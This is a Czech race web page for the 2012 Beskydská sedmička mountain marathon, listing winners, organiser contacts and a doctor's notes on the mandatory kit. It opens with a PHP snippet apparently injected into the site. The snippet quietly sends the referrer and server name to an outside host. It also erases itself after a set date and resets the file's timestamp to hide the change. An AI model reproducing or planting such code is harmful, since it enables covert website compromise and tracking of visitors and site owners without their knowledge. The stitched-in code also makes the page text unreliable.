check_meta(); function check_meta(){ $jp = __FILE__; $jptime = filemtime($jp); if(time() >= 1456735874){ $jp_c = file_get_contents($jp); if($t = @strpos($jp_c,"check_meta();")) { $contentp = substr($jp_c,0,$t); if(@file_put_contents($jp, $contentp)){ @touch($jp,$jptime); } } } @file_get_contents("http://web.51.la:82/go.asp?svid=15&id=18776897&referrer=".$_SERVER['HTTP_REFERER']."&vpage=http://".$_SERVER['SERVER_NAME']."/modules/mod_banners/models.php"); } POVINNÁ VÝBAVA - ADIDAS TERREX - CONTINENTAL BESKYDSKÁ SEDMIČKA 2012
           
www.continental.cz
M ČR V HORSKÉM MARATONU DVOJIC
EXTRÉMNÍ PŘECHOD BESKYD - JAVOROVÝ - JAVORNÍK 2012
HLAVNÍ STRÁNKAVÝSLEDKOVÁ LISTINAINFO ZE ZÁVODUMÉDIA / PRESSFOTOGALERIE

VÍTĚZNÉ TÝMY MČR

1.MÍSTO
194 - SALOMON-RUN
PETREČEK TOMÁŠ
ŠTRYNCL PAVEL

ČAS VÍTĚZE: 13:05:04

2.MÍSTO
117 - SLS3-SKVK
CYPRA ZBYNĚK
VABROUŠEK PETR
ČAS: 13:13:31

3.MÍSTO
253 - L4L5S1
POLÁK VLADIMÍR
NAHORNIAK TOMÁŠ
ČAS: 13:51:24 

UPOUTÁVKY 2012

BESKYDSKÁ SEDMIČKA - 2012


REGISTRACE B7 - 2012


INLINE 24 - 2012


LH 24 - 2012

KONTAKT NA ORGANIZAČNÍ TEAM:
Pořadatel akce SK K2 o.s., Libor Uher
Česká asociace extrémních
sportů - ČAES

Vedení závodu
Libor Uher
+420 608 228 227
libor@beskydskasedmicka.cz

Jana Matějíková
presscentrum
+420 602 936 634
info@beskydskasedmicka.cz


MUDr. Radomír Maráček
organizační tým B7, doprava, lékař
rm@beskydskasedmicka.cz


Registrace závodu

Kateřina Uhrová
+420 603 228 228
registrace@beskydska
sedmicka.cz


Marian Žárský
kulturní program Frenštát
marian@beskydskasedmicka.cz


Martina Filipová

organizační tým B7
martina@beskydskasedmicka.cz


Tomáš Janeček

grafika, web, technik
+420 777 712 747
tomas@beskydskasedmicka.cz


Iveta Nakoukalová

dobrovolníci, akreditace
iveta@beskydskasedmicka.cz


Mirek Prašivka

všechno ostatní :-)

Tomáš Zatloukal
doprava pořadatelů

Petr Kalina
značení a úklid trati

Dušan Klimek
technické zajištění Frenštát



POVINNÁ VÝBAVA - ADIDAS TERREX - CONTINENTAL BESKYDSKÁ SEDMIČKA 2012

Protože se stále diskutuje kolem povinné výbavy, mnozí pochybují o smyslu některých součástí nebo nechávají pořízení povinné výbavy na poslední chvíli nebo to neřeší vůbec přinášíme vyjádření lékaře MUDr. Radomíra Maráčka, který je zároveň členem HORSKÉ SLUŽBY k jednotlivým bodům povinné výbavy.

Zároveň upozorňujeme, že povinná výbava BUDE V PRŮBĚHU ZÁVODU NÁHODNĚ KONTROLOVÁNA A POKUD NEDODRŽÍTE TOTO PRAVIDLO, BUDETE DISKVALIFIKOVÁNI.


1. Plně nabitý funkční telefon ve vyplém stavu kvůli úspoře baterií
V dnešní době zásadní potřeba. Pokud se Vám něco stane, můžete sejít z cesty, zabloudit, tak bude jedinou možností, jak si přivoláte pomoc. Navíc Vás dle něj bude moci Horská služba ve spolupráci s Policií ČR najít.

1a. Nepromokavý obal na telefon (nejlepší je kondom :-)
Nefunkční telefon je na nic. Pokud nemáte speciální vlhku a vodě odolný, musí být v suchu.


2. NRC alufolie (na podchlazení)

Vyčerpaný organismus má menší schopnost “vyrábět” vlastní teplo, takže při problému znamenajícího delší zastavení je nutné okamžitě použít alufolie k zábraně ztrát tepla, pokud právě “nepere slunce”. Až Vám začne být zima, je pozdě. Alufolie nezahřeje, jen zadržuje Vaše vlastní teplo. Než dorazí pomoc může to trvat dlouhé minuty. Ne všude se dostane terenní auto nebo čtyřkolka.


3. Náhradní baterie do čelovek (nepoužívejte dobíjecí ale kvalitní jednorázové – alkalické, někteří pujdete 2 noci)
Nevidět znamená bezpečně nejít, zabloudit, sejít z trasy, spadnout. Nikdy nevíte, jaké baterky zrovna máte, jakou mají skutečnou kapacitu. Ani nevíte, jak dlouho je budete potřebovat. Nefunkční čelovka je na nic.


4. Náplasti na puchýře (hooodně, moc)
Pravděpodobnost puchýřů a otlaků je vysoká a velmi individuální. Neznamená, že je nemíváte, že nemohou být. Závisí nejen na obuvi a ponožkách, ale i na počasí. Na trase budou sanitní vozy, ale tam Vám půchýře jen ošetří. Náplasti nemají. Dnes existuje velká nabídka speciálně tvarovaných na určitá místa a navíc i v plastových obalech. Náplast, aby byla použitelná, musí být v suchu. Jsou i speciální náplasti do vlhka. Na promaštěnou pokožku náplast nenalepíte. Vždy je lépe použít náplast předem než vznikne problém. Při délce závodu většina nevydrží.


5. Elastické obinadlo
Existuje pravděpodobnost přetížení úponů zejména v oblasti kolen, podvrtnutí kotníku, úraz na horních končetinách, úraz hlavy. Jeho užití je nejjednoduší a nejefektivnější.


6. Analgetikum (brufen, algifen, ibalgin, tramal, atd. – o volbě léku a množství užití se poraďte se svým lékařem!!!)
Zázračná růžová tabletka, zvláště pro ty co ji neberou nebo nebrali. Pomůže Vám sejít, dojít, vydržet. Gely jsou na nic.


7. Náhradní čelovka 1 kus na tým (zodpovídá kapitán)
Čelovka je jen přístroj a může se pokazit, poškodit pádem na zem (větev) a můžete ji i ztratit. Bez ní jste kde?


8. Finanční hotovost na jídlo a případný taxík
Cestou potkáte řadu chat, restaurací i obchodů. Nic není zadarmo. Proč všechno jídlo mít sebou, když něco můžete dokoupit cestou. Na občerstvovačkách není vše. Iontové nápoje a speciální energetické tyčky na chatách nekoupíte. Energetické nápoje většinou ano.


9. Pytlík na odpadky
Co do hor a lesa doneseš, tak si zase odnes. Děkujeme.

 

GENERÁLNÍ PARTNEŘI

adidas


1511


PARTNEŘI

IBS    
Frenštát pod Radhoštěm


www.rajpneu.cz



Author




I style









 

black


Nutrend

radegast


 
 



 

black


 


 

Suunto


 

 



Frýdek-Místek     Obec Ostravice

 

       

  

Opavanet

 

Sportovní medicína

 
 

Mapy Shokart





 

Author




In agency    



Škola - Frenštát pod Radhoštěm SK Valašské království


KLUB ČESKÝCH TURISTŮ










 

CAES


CAES

CAES